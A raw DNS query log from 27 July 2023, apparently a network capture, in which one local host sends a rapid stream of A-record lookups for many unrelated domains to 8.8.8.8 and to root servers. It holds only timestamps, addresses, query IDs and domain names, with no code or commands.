Jul 27, 2023 21:53:37.335504055 CEST	192.168.2.4	192.33.4.12	0x74	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:37.339011908 CEST	192.168.2.4	8.8.8.8	0x5129	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.359281063 CEST	192.168.2.4	192.203.230.10	0x22	Standard query (0)	org	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:37.368647099 CEST	192.168.2.4	8.8.8.8	0xecc6	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.376378059 CEST	192.168.2.4	192.36.148.17	0x73	Standard query (0)	de	NS (Name server)	IN (0x0001)	false
Jul 27, 2023 21:53:37.477982998 CEST	192.168.2.4	8.8.8.8	0x644c	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.481322050 CEST	192.168.2.4	8.8.8.8	0xf302	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.521847010 CEST	192.168.2.4	8.8.8.8	0x3c19	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.546727896 CEST	192.168.2.4	8.8.8.8	0x3337	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.669115067 CEST	192.168.2.4	8.8.8.8	0xb6c6	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.704257011 CEST	192.168.2.4	8.8.8.8	0x2a56	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.781881094 CEST	192.168.2.4	8.8.8.8	0x90b1	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.785505056 CEST	192.168.2.4	8.8.8.8	0x4ef2	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.789043903 CEST	192.168.2.4	8.8.8.8	0x4fa4	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.811563015 CEST	192.168.2.4	8.8.8.8	0xf8b3	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.839901924 CEST	192.168.2.4	8.8.8.8	0xca02	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.853980064 CEST	192.168.2.4	8.8.8.8	0x6be3	Standard query (0)	alexpope.biz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.876307011 CEST	192.168.2.4	8.8.8.8	0x4123	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.918471098 CEST	192.168.2.4	8.8.8.8	0xad2	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.929457903 CEST	192.168.2.4	8.8.8.8	0x9b29	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.951400995 CEST	192.168.2.4	8.8.8.8	0xf2c0	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:37.981406927 CEST	192.168.2.4	8.8.8.8	0x77c6	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.099657059 CEST	192.168.2.4	8.8.8.8	0x4883	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.108661890 CEST	192.168.2.4	8.8.8.8	0xd542	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.343641043 CEST	192.168.2.4	8.8.8.8	0x2f71	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.378690004 CEST	192.168.2.4	8.8.8.8	0xe166	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.427782059 CEST	192.168.2.4	8.8.8.8	0x867e	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.460395098 CEST	192.168.2.4	8.8.8.8	0x297c	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.464878082 CEST	192.168.2.4	8.8.8.8	0xbe20	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.467199087 CEST	192.168.2.4	8.8.8.8	0xc47f	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.510368109 CEST	192.168.2.4	8.8.8.8	0xb6d7	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.540153027 CEST	192.168.2.4	8.8.8.8	0xef77	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.647200108 CEST	192.168.2.4	8.8.8.8	0xbebc	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.759726048 CEST	192.168.2.4	8.8.8.8	0xc4d8	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.763726950 CEST	192.168.2.4	8.8.8.8	0x882e	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.806083918 CEST	192.168.2.4	8.8.8.8	0x46f0	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.853497982 CEST	192.168.2.4	8.8.8.8	0x8ded	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.902663946 CEST	192.168.2.4	8.8.8.8	0x2b8b	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.908622980 CEST	192.168.2.4	8.8.8.8	0xc03	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.913053036 CEST	192.168.2.4	8.8.8.8	0xf71d	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:38.998517036 CEST	192.168.2.4	8.8.8.8	0xa8dd	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.021486044 CEST	192.168.2.4	8.8.8.8	0x21fd	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.040277004 CEST	192.168.2.4	8.8.8.8	0xfcd6	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.227592945 CEST	192.168.2.4	8.8.8.8	0x5d63	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.313038111 CEST	192.168.2.4	8.8.8.8	0x17d	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.346378088 CEST	192.168.2.4	8.8.8.8	0xbc5b	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.394040108 CEST	192.168.2.4	8.8.8.8	0xc7d4	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.424973011 CEST	192.168.2.4	8.8.8.8	0xe8c8	Standard query (0)	com-edit.fr	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.459630013 CEST	192.168.2.4	8.8.8.8	0xe26d	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.489444971 CEST	192.168.2.4	8.8.8.8	0xc47f	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.529474974 CEST	192.168.2.4	8.8.8.8	0xc666	Standard query (0)	semuk.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.568499088 CEST	192.168.2.4	8.8.8.8	0x8d12	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.748284101 CEST	192.168.2.4	8.8.8.8	0x2b87	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.760691881 CEST	192.168.2.4	8.8.8.8	0xb647	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.801162004 CEST	192.168.2.4	8.8.8.8	0x738f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.802992105 CEST	192.168.2.4	8.8.8.8	0x34a7	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.817673922 CEST	192.168.2.4	8.8.8.8	0x6616	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.818995953 CEST	192.168.2.4	8.8.8.8	0x58b7	Standard query (0)	wanoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.861545086 CEST	192.168.2.4	8.8.8.8	0xb941	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:39.986499071 CEST	192.168.2.4	8.8.8.8	0xcc39	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.001070023 CEST	192.168.2.4	8.8.8.8	0xfcd6	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.069086075 CEST	192.168.2.4	8.8.8.8	0xdb62	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.086209059 CEST	192.168.2.4	8.8.8.8	0xcb9c	Standard query (0)	kevyt.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.099853992 CEST	192.168.2.4	8.8.8.8	0xc799	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.168708086 CEST	192.168.2.4	8.8.8.8	0x6541	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.244595051 CEST	192.168.2.4	8.8.8.8	0x4fe1	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.355498075 CEST	192.168.2.4	8.8.8.8	0x971e	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.449398994 CEST	192.168.2.4	8.8.8.8	0xe139	Standard query (0)	webways.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.570713043 CEST	192.168.2.4	8.8.8.8	0xc47f	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.614888906 CEST	192.168.2.4	8.8.8.8	0x945f	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.617552042 CEST	192.168.2.4	8.8.8.8	0x2112	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.650206089 CEST	192.168.2.4	8.8.8.8	0xac72	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.652568102 CEST	192.168.2.4	8.8.8.8	0x7c1e	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.686906099 CEST	192.168.2.4	8.8.8.8	0xdd24	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.718661070 CEST	192.168.2.4	8.8.8.8	0xe8b5	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.757867098 CEST	192.168.2.4	8.8.8.8	0x5f4c	Standard query (0)	daytonir.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.831706047 CEST	192.168.2.4	8.8.8.8	0x738f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.853173018 CEST	192.168.2.4	8.8.8.8	0xbb7a	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:40.860321045 CEST	192.168.2.4	8.8.8.8	0xfb8b	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.017056942 CEST	192.168.2.4	8.8.8.8	0xfcd6	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.182694912 CEST	192.168.2.4	8.8.8.8	0xa9ad	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.266706944 CEST	192.168.2.4	8.8.8.8	0xf56b	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.280273914 CEST	192.168.2.4	8.8.8.8	0x7cd9	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.287148952 CEST	192.168.2.4	8.8.8.8	0xa679	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.337913036 CEST	192.168.2.4	8.8.8.8	0x7685	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.381257057 CEST	192.168.2.4	8.8.8.8	0xb2ef	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.402158976 CEST	192.168.2.4	8.8.8.8	0x775d	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.437591076 CEST	192.168.2.4	8.8.8.8	0xb35d	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.440545082 CEST	192.168.2.4	8.8.8.8	0x2af4	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.480130911 CEST	192.168.2.4	8.8.8.8	0x3cf8	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.551242113 CEST	192.168.2.4	8.8.8.8	0x7058	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.670874119 CEST	192.168.2.4	8.8.8.8	0x4519	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.725899935 CEST	192.168.2.4	8.8.8.8	0xfd8f	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:41.878997087 CEST	192.168.2.4	8.8.8.8	0x738f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.142352104 CEST	192.168.2.4	8.8.8.8	0x54af	Standard query (0)	www.muhr-soehne.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.160957098 CEST	192.168.2.4	8.8.8.8	0xe015	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.175911903 CEST	192.168.2.4	8.8.8.8	0x3047	Standard query (0)	mail.airmail.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.324421883 CEST	192.168.2.4	8.8.8.8	0x807c	Standard query (0)	4locals.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.421488047 CEST	192.168.2.4	8.8.8.8	0xe10a	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.480329990 CEST	192.168.2.4	8.8.8.8	0x8d5d	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.489703894 CEST	192.168.2.4	8.8.8.8	0x2af4	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.518544912 CEST	192.168.2.4	8.8.8.8	0xef7b	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.713808060 CEST	192.168.2.4	8.8.8.8	0xe404	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.734592915 CEST	192.168.2.4	8.8.8.8	0x794b	Standard query (0)	fr-dat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:42.824347019 CEST	192.168.2.4	8.8.8.8	0xe899	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.048099041 CEST	192.168.2.4	8.8.8.8	0xfcd6	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.174390078 CEST	192.168.2.4	8.8.8.8	0x9419	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.234492064 CEST	192.168.2.4	8.8.8.8	0xd06f	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.457176924 CEST	192.168.2.4	8.8.8.8	0xe493	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.492832899 CEST	192.168.2.4	8.8.8.8	0x97f3	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.529273987 CEST	192.168.2.4	8.8.8.8	0x4c92	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.540301085 CEST	192.168.2.4	8.8.8.8	0xe585	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.547614098 CEST	192.168.2.4	8.8.8.8	0x2af4	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.713428974 CEST	192.168.2.4	8.8.8.8	0x5263	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:43.923511028 CEST	192.168.2.4	8.8.8.8	0x738f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.012063980 CEST	192.168.2.4	8.8.8.8	0xfb90	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.044013023 CEST	192.168.2.4	8.8.8.8	0xbd1f	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.070303917 CEST	192.168.2.4	8.8.8.8	0x767d	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.071835041 CEST	192.168.2.4	8.8.8.8	0xc8b0	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.123105049 CEST	192.168.2.4	8.8.8.8	0x7b62	Standard query (0)	lyto.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.206916094 CEST	192.168.2.4	8.8.8.8	0x7d84	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.210980892 CEST	192.168.2.4	8.8.8.8	0xa054	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.427340984 CEST	192.168.2.4	8.8.8.8	0xed8c	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.449793100 CEST	192.168.2.4	8.8.8.8	0x8e14	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.470742941 CEST	192.168.2.4	8.8.8.8	0xf0fa	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.556821108 CEST	192.168.2.4	8.8.8.8	0xc02	Standard query (0)	icd-host.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.755880117 CEST	192.168.2.4	8.8.8.8	0xfc3b	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.810472965 CEST	192.168.2.4	8.8.8.8	0x3ebe	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.822138071 CEST	192.168.2.4	8.8.8.8	0x790a	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.838010073 CEST	192.168.2.4	8.8.8.8	0x4e97	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.883155107 CEST	192.168.2.4	8.8.8.8	0x5d02	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.924230099 CEST	192.168.2.4	8.8.8.8	0x79a8	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:44.937849045 CEST	192.168.2.4	8.8.8.8	0x3ddf	Standard query (0)	dataform.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.094862938 CEST	192.168.2.4	8.8.8.8	0x767d	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.197143078 CEST	192.168.2.4	8.8.8.8	0x41f9	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.387728930 CEST	192.168.2.4	8.8.8.8	0x792	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.392947912 CEST	192.168.2.4	8.8.8.8	0x7748	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.428936005 CEST	192.168.2.4	8.8.8.8	0xeef6	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.504739046 CEST	192.168.2.4	8.8.8.8	0xb697	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:45.991725922 CEST	192.168.2.4	8.8.8.8	0x4e97	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.080826998 CEST	192.168.2.4	8.8.8.8	0x8af8	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.208949089 CEST	192.168.2.4	8.8.8.8	0x767d	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.213793039 CEST	192.168.2.4	8.8.8.8	0x3c1b	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.363878012 CEST	192.168.2.4	8.8.8.8	0xe9b2	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:46.468297958 CEST	192.168.2.4	8.8.8.8	0xf157	Standard query (0)	t-mould.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.140252113 CEST	192.168.2.4	8.8.8.8	0x4e97	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.315196991 CEST	192.168.2.4	8.8.8.8	0x37a3	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:47.636322021 CEST	192.168.2.4	8.8.8.8	0xb62d	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.495238066 CEST	192.168.2.4	8.8.8.8	0x767d	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.612505913 CEST	192.168.2.4	8.8.8.8	0x1b77	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.620377064 CEST	192.168.2.4	8.8.8.8	0xb1c5	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.695909977 CEST	192.168.2.4	8.8.8.8	0x9180	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.877295017 CEST	192.168.2.4	8.8.8.8	0xb937	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:48.882344007 CEST	192.168.2.4	8.8.8.8	0xa346	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.121680975 CEST	192.168.2.4	8.8.8.8	0xbf9b	Standard query (0)	gujarat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.201818943 CEST	192.168.2.4	8.8.8.8	0x4e97	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.583307981 CEST	192.168.2.4	8.8.8.8	0xb547	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.629272938 CEST	192.168.2.4	8.8.8.8	0x61b9	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.679923058 CEST	192.168.2.4	8.8.8.8	0xf7f4	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.680392027 CEST	192.168.2.4	8.8.8.8	0x4d67	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.732597113 CEST	192.168.2.4	8.8.8.8	0x18b7	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:49.888748884 CEST	192.168.2.4	8.8.8.8	0xaccc	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.302149057 CEST	192.168.2.4	8.8.8.8	0xbb1	Standard query (0)	www.tyrns.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.319371939 CEST	192.168.2.4	8.8.8.8	0x18a5	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.338809967 CEST	192.168.2.4	8.8.8.8	0x3396	Standard query (0)	shittas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.372631073 CEST	192.168.2.4	8.8.8.8	0x8e71	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.689606905 CEST	192.168.2.4	8.8.8.8	0xd3f5	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.689807892 CEST	192.168.2.4	8.8.8.8	0xa658	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.691625118 CEST	192.168.2.4	8.8.8.8	0x41de	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.696958065 CEST	192.168.2.4	8.8.8.8	0x51a7	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.700620890 CEST	192.168.2.4	8.8.8.8	0xf38b	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.705864906 CEST	192.168.2.4	8.8.8.8	0xcad2	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.707709074 CEST	192.168.2.4	8.8.8.8	0x91ea	Standard query (0)	nlcv.bas.bg	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.768599033 CEST	192.168.2.4	8.8.8.8	0xe681	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.847507954 CEST	192.168.2.4	8.8.8.8	0x829a	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:50.923907042 CEST	192.168.2.4	8.8.8.8	0xaccc	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.029666901 CEST	192.168.2.4	8.8.8.8	0x4b35	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.082413912 CEST	192.168.2.4	8.8.8.8	0x9afe	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.087491035 CEST	192.168.2.4	8.8.8.8	0x5d5b	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.087491035 CEST	192.168.2.4	8.8.8.8	0x34a9	Standard query (0)	bigzz.by	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.102916002 CEST	192.168.2.4	8.8.8.8	0x3317	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.106533051 CEST	192.168.2.4	8.8.8.8	0x130c	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.117551088 CEST	192.168.2.4	8.8.8.8	0xfcd0	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.147008896 CEST	192.168.2.4	8.8.8.8	0x69be	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.244323015 CEST	192.168.2.4	8.8.8.8	0xe06c	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.248980045 CEST	192.168.2.4	8.8.8.8	0x9136	Standard query (0)	xsui.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.253117085 CEST	192.168.2.4	8.8.8.8	0x530d	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.308094025 CEST	192.168.2.4	8.8.8.8	0xfd49	Standard query (0)	4locals.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.365149021 CEST	192.168.2.4	8.8.8.8	0x3de	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:51.393491030 CEST	192.168.2.4	8.8.8.8	0x29dc	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
